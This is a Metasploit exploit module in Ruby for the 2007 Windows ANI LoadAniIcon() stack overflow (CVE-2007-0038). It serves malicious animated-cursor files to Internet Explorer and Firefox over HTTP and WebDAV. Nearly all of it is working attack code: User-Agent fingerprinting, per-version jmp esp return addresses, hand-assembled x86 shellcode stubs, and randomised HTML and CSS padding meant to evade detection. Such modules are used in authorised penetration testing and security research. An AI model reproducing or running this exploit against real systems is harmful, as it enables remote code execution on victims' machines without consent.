##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RIFF

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)',
			'Description'    => %q{
					This module exploits a buffer overflow vulnerability in the
				LoadAniIcon() function in USER32.dll. The flaw can be triggered through
				Internet Explorer 6 and 7 by using the CURSOR style sheet directive
				to load a malicious .ANI file. The module can also exploit Mozilla
				Firefox by using a UNC path in a moz-icon URL and serving the .ANI file
				over WebDAV. The vulnerable code in USER32.dll will catch any
				exceptions that occur while the invalid cursor is loaded, causing the
				exploit to silently fail when the wrong target has been chosen.

				This vulnerability was discovered by Alexander Sotirov of Determina
				and was rediscovered, in the wild, by McAfee.
			},

			'Author'         =>
				[
					'hdm',   # First version
					'skape', # Vista support

					# Firefox support, OS language independence, improved reliability
					'Solar Eclipse <solareclipse[at]phreedom.org>'
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['CVE', '2007-0038'],
					['OSVDB', '33629'],
					['BID', '23194'],
					['MSB', 'MS07-017'],
					['URL', 'http://www.microsoft.com/technet/security/advisory/935423.mspx'],
					['URL', 'http://www.determina.com/security.research/vulnerabilities/ani-header.html'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'  => 1024 + (rand(1000)),
					'Compat' =>
					{
						'ConnectionType' => '-find',
					}
				},
			'Platform'       => 'win',

			# Automatic target tested on:
			#
			#   Windows NT SP6 + IE6 SP1
			#   Windows 2000 SP4 + IE6 SP1
			#   Windows 2000 SP4 UR1 + IE6 SP1
			#   Windows XP SP0
			#   Windows XP SP1
			#   Windows XP SP2
			#   Windows XP SP2 + IE7
			#   Windows 2003 SP0
			#   Windows 2003 SP1
			#   Windows 2003 SP1 + IE7
			#   Windows Vista
			#
			#   Windows XP SP0 + Firebird 0.7
			#   Windows XP SP0 + Firefox 1.0
			#   Windows XP SP0 + Firefox 1.5
			#   Windows XP SP2 + Firefox 2.0
			#   Windows 2003 SP1 + Firefox 2.0
			#   Windows Vista + Firefox 2.0

			'Targets'        =>
				[
					[ '(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista',
						{
						'Method' => 'automatic'
						}
					],
					[ 'IE6 on Windows NT, 2000, XP, 2003 (all languages)',
						{
						'Method' => 'jmpesp',
						'Ret1'   => 0x0040afff,   # jmp esp on NT, 2000, XP, 2003 SP0 (iexplore.exe)
						'Ret2'   => 0x004090df    # jmp esp on 2003 SP1, SP2 (iexplore.exe)
						}
					],
					[ 'IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)',
						{
						'Method' => 'jmpesp',
						'Ret1'   => 0x00420B45,   # jmp esp on XP SP2 (iexplore.exe)
						'Ret2'   => 0x00420B45    # jmp esp on 2003 SP1, SP2 (iexplore.exe)
						}
					],
					[ 'IE7 and Firefox on Windows Vista (all languages)',
						{
						'Method' => 'partial',
						'Ret'    => 0x700B        # we change user32.dll+5879 to user32.dll+700B (jmp [ebx] in user32.dll)
						}
					],
					[ 'Firefox on Windows XP (English)',
						{
						'Method' => 'jmpesp',
						'Ret1'   => 0x77059E48,   # jmp esp on XP (comres.dll)
						'Ret2'   => 0x77019668    # jmp esp on 2003 SP1, SP2 (comres.dll)
						}
					],
					[ 'Firefox on Windows 2003 (English)',
						{
						'Method' => 'jmpesp',
						'Ret1'   => 0x77019668,   # jmp esp on 2003 SP0 (comres.dll)
						'Ret2'   => 0x77019668    # jmp esp on 2003 SP1, SP2 (comres.dll)
						}
					],
				],
			'DisclosureDate' => 'Mar 28 2007',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
				OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
			], self.class)
	end


#
# Handle HTTP requests
#

	def on_request_uri(cli, request)

		#
		# Automatic browser and OS detection
		#

		print_status("Attempting to exploit ani_loadimage_chunksize")
		browser = ''

		if target['Method'] == 'automatic'

			agent = request.headers['User-Agent']

			# Check for Firefox requests

			if agent =~ /(Gecko|Microsoft-WebDAV-MiniRedir)/

				browser = 'Mozilla'

				# WebDAV requires that we use port 80 and the URIPATH is '/'

				if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
					print_status("Request received from Mozilla. To exploit Mozilla browsers, SRVPORT must be set to 80 and URIPATH must be '/'")
					cli.send_response(create_response(404, "File not found"))
					return
				end

				if agent =~ /(Windows NT 6\.0|MiniRedir\/6\.0)/
					target = targets[3]   # Firefox on Vista
				elsif agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
					target = targets[4]   # Firefox on XP
				elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
					target = targets[5]   # Firefox on 2003
				else
					print_status("Unknown User-Agent #{agent}")
					return
				end

			# Check for MSIE requests

			elsif agent =~ /MSIE/

				browser = 'IE'

				if agent =~ /Windows NT 6\.0/
					target = targets[3]   # IE7 on Vista
				elsif agent =~ /MSIE 7\.0/
					target = targets[2]   # IE7 on XP and 2003
				elsif agent =~ /MSIE 6\.0/
					target = targets[1]   # IE6 on NT, 2000, XP and 2003
				else
					print_status("Unknown User-Agent #{agent}")
					return
				end

			# Unknown user agent

			else
				print_status("Unknown User-Agent #{agent}")
				return
			end

		end

		#
		# Find out if this is a request for an ANI file
		#

		# Mozilla always uses a .ani extension, but IE randomly picks one of the
		# other extensions for the ANI request
		exts = ['bmp', 'wav', 'png', 'zip', 'tar', 'ani']

		ani_request = false

		match = /\.(...)$/.match(request.uri)

		if match and exts.include?(match[1])
			ani_request = true
		end

		#
		# OPTIONS and PROPFIND requests sent by the WebDav Mini-Redirector
		#

		if request.method == 'OPTIONS'
			print_status("Received WebDAV OPTIONS request")
			headers = {
				'DASL'   => '<DAV:sql>',
				'DAV'    => '1, 2',
				'Public' => 'OPTIONS, GET, PROPFIND',
				'Allow'  => 'OPTIONS, GET, PROPFIND'
			}
			send_response(cli, '', headers)
			return
		end

		if request.method == 'PROPFIND'
			print_status("Received WebDAV PROPFIND request")

			body = ''

			if (not ani_request)
				# Response for directories
				body = '<?xml version="1.0"?><a:multistatus xmlns:a="DAV:"><a:response><a:propstat><a:prop><a:resourcetype><a:collection/></a:resourcetype></a:prop></a:propstat></a:response></a:multistatus>'
			else
				# Response for files
				body = '<?xml version="1.0"?><a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"><a:response></a:response></a:multistatus>'
			end

			send_response(cli, body, {'Content-Type' => 'text/xml'})
			return
		end

		#
		# HTML requests sent by IE and Firefox
		#

		if (not ani_request)

			# Pick a random extension to use when we generate HTML. The moz-icon URL
			# must have a .ani extension, but we can use a random one for IE

			exts.delete('ani')
			ext = exts[rand(exts.length)]

			# Generate the HTML

			html =
				"<html>" +
				"<head><title>" + random_padding + "</title></head>" +
				"<body>" +
				random_padding +
				(browser == 'IE' ? generate_ie_html(ext) : generate_mozilla_html) +
				random_padding +
				"</body>" +
				"</html>"

			print_status("Sending HTML page")

			send_response(cli, html)
			return
		end

		#
		# ANI requests sent by IE and the WebDav Mini-Redirector
		#

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending #{self.name}")

		# Transmit the compressed response to the client
		send_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' })
	end


	#
	# Generate a <div> element with a style attribute referencing the ANI file
	#

	def generate_ie_html(ext)
		path = get_resource.sub(/\/$/, '')

		"<div style='" +
		random_css_padding +
		Rex::Text.to_rand_case("cursor") +
		random_css_padding +
		":" +
		random_css_padding +
		Rex::Text.to_rand_case("url(") +
		random_css_padding +
		'"' +
		path + '/' + rand_text_alphanumeric(rand(80)+16) + '.' + ext +
		'"' +
		random_css_padding +
		");" +
		random_css_padding +
		"'>" +
		random_padding +
		"</div>"
	end


	#
	# Generate a img tag with a moz-icon URL referencing the ANI file
	#

	def generate_mozilla_html
		path = get_resource.gsub(/\/$/, '')

		# The UNC path of the ANI file must have at least one directory level,
		# otherwise the WebDAV redirector will not work
		if path == ''
		path = '/' + rand_text_alphanumeric(rand(80)+16)
		end

		return '<img src="moz-icon:file://///' +
		datastore['SRVHOST'] +
		path + '/' + rand_text_alphanumeric(rand(80)+16) + '.ani">'
	end


	#
	# Generate CSS padding
	#

	def random_css_padding
		buf =
		random_whitespace +
		"/*" +
		random_whitespace +
		random_padding +
		random_whitespace +
		"*/" +
		random_whitespace
	end


	#
	# Generate random whitespace
	#

	def random_whitespace
		len = rand(100)+2
		set = "\x09\x20\x0d\x0a"
		buf = ''

		while (buf.length < len)
		buf << set[rand(set.length)].chr
		end
		buf
	end


	#
	# Generate random padding
	#

	def random_padding
		rand_text_alphanumeric(rand(128)+4)
	end


	#
	# Generate an ANI file that will trigger the vulnerability
	#

	def generate_ani(payload, target)

		# Valid ANI header

		header = [
			36,     # cbSizeOf (must be 36)
			rand(128)+16, # cFrames (must be > 1 and < 0x10000)
			rand(1024)+1, # cSteps (must be < 0x10000)
			0, 0,   # cx, cy
			0,      # cBitCount
			0,      # cPlanes
			0,      # JifRate
			1       # Flags (must have the LSB bit set)
		].pack('V9')

		overflow = ''

		if target['Method'] == 'jmpesp'

		# ANI header that triggers the overflow:
		overflow =
			# 36 bytes of fake header

			# When we get control, the ebx and esi registers have the following values:
			#
			# 2000, XP, 2003 before MS05-002
			#     ebx = 0, esi = pointer to MappedFile struct
			#
			# NT before MS05-002
			#     ebx = pointer to dword 1, esi = pointer to MappedFile struct
			#
			# all versions after MS05-002, including XP SP2 and 2003 SP1
			#     ebx = pointer to MappedFile struct
			#
			# The first field in MappedFile is a pointer to the ANI file

			"\x85\xDB" +                  # test ebx,ebx
			"\x74\x0A" +                  # jz jmp_esi            2000, XP, 2003 before MS05-002
			"\x81\x3B\x01\x00\x00\x00" +  # cmp dword [ebx], 0x1
			"\x74\x02" +                  # jz jmp_esi            NT before MS05-002
			"\x89\xDE" +                  # mov esi, ebx          all versions after MS05-002
		# jmp_esi:
			"\x8B\x36" +                  # mov esi,[esi]         pointer to ANI file
			"\x81\x3E\x52\x49\x46\x46" +  # cmp [esi], 'RIFF'
			"\x75\x02" +                  # jnz failed
			"\xFF\xE6" +                  # jmp esi
		# failed:
			"\x31\xc0" +                  # xor eax, eax
			"\x8b\x00" +                  # mov eax, [0]          exit via SEH
			rand_text(2) +
			"\x00\x00\x00\x00" +    # header flags (LSB bit must be set to 0)

			# end of header

			rand_text(4*6) +        # local variables

			# The following local variables must be NULL to avoid calls to
			# HeapFree and NtUserDestroyCursor

									# 2000, XP, 2003 SP0    2003 SP1

			"\x00\x00\x00\x00" +    # var_10
			"\x00\x00\x00\x00" +    # var_C
			"\x00\x00\x00\x00" +    #                       var_C
			"\x00\x00\x00\x00" +    #                       var_8
			"\x00\x00\x00\x00" +    #                       var_4

			[
				target['Ret1'],     # return address for NT, 2000, XP and 2003 SP0
				target['Ret2']      # return address for 2003 SP1
			].pack('VV') +

			rand_text(4*4) +        # function arguments

			"\x90\x90\x90\x90" +    # jmp esp on NT, 2000, XP and 2003 SP0 lands
									# here, 2003 SP1 lands on the next dword

			"\xeb\x92"              # jump back to the shellcode in the ANI header

		elsif target['Method'] == 'partial'

		# ANI header that triggers the overflow:

		overflow =

			# 36 bytes of fake header

			rand_text(32) +
			"\x00\x00\x00\x00" +    # header flags (LSB bit must be set to 0)

			# end of header

			rand_text(4*8) +        # local variables

			# The following local variables must be NULL to avoid calls to
			# HeapFree and NtUserDestroyCursor on Vista

			"\x00\x00\x00\x00" +    # var_C
			"\x00\x00\x00\x00" +    # var_8
			"\x00\x00\x00\x00" +    # var_4

			rand_text(4) +          # saved ebp

			[
				target['Ret'],      # 2 byte partial overwrite of the return address
			].pack('v')

		else
			fail_with(Exploit::Failure::NoTarget, "Unknown target #{targetr['Method']}")
		end

		# Build the ANI file

		# The shellcode execution begins at the RIFF signature:
		#
		#   'R' 52      push edx
		#   'I' 49      dec ecx
		#   'F' 46      inc esi
		#   'F' 46      inc esi
		#       eb 3a   jmp +3a     # jmp to the code in the payload chunk
		ani =
		"RIFF" + "\xeb\x3a\x00\x00" +
			"ACON" +
			riff_chunk("anih", header) +

			# payload chunk
			riff_chunk(random_riff_tag,
			Rex::Arch::X86.copy_to_stack(payload.encoded.length) +
			payload.encoded) +

			random_riff_chunks +

			# the second anih chunk trigger the overflow
			riff_chunk("anih", overflow) +

			random_riff_chunks

		return ani
	end

end
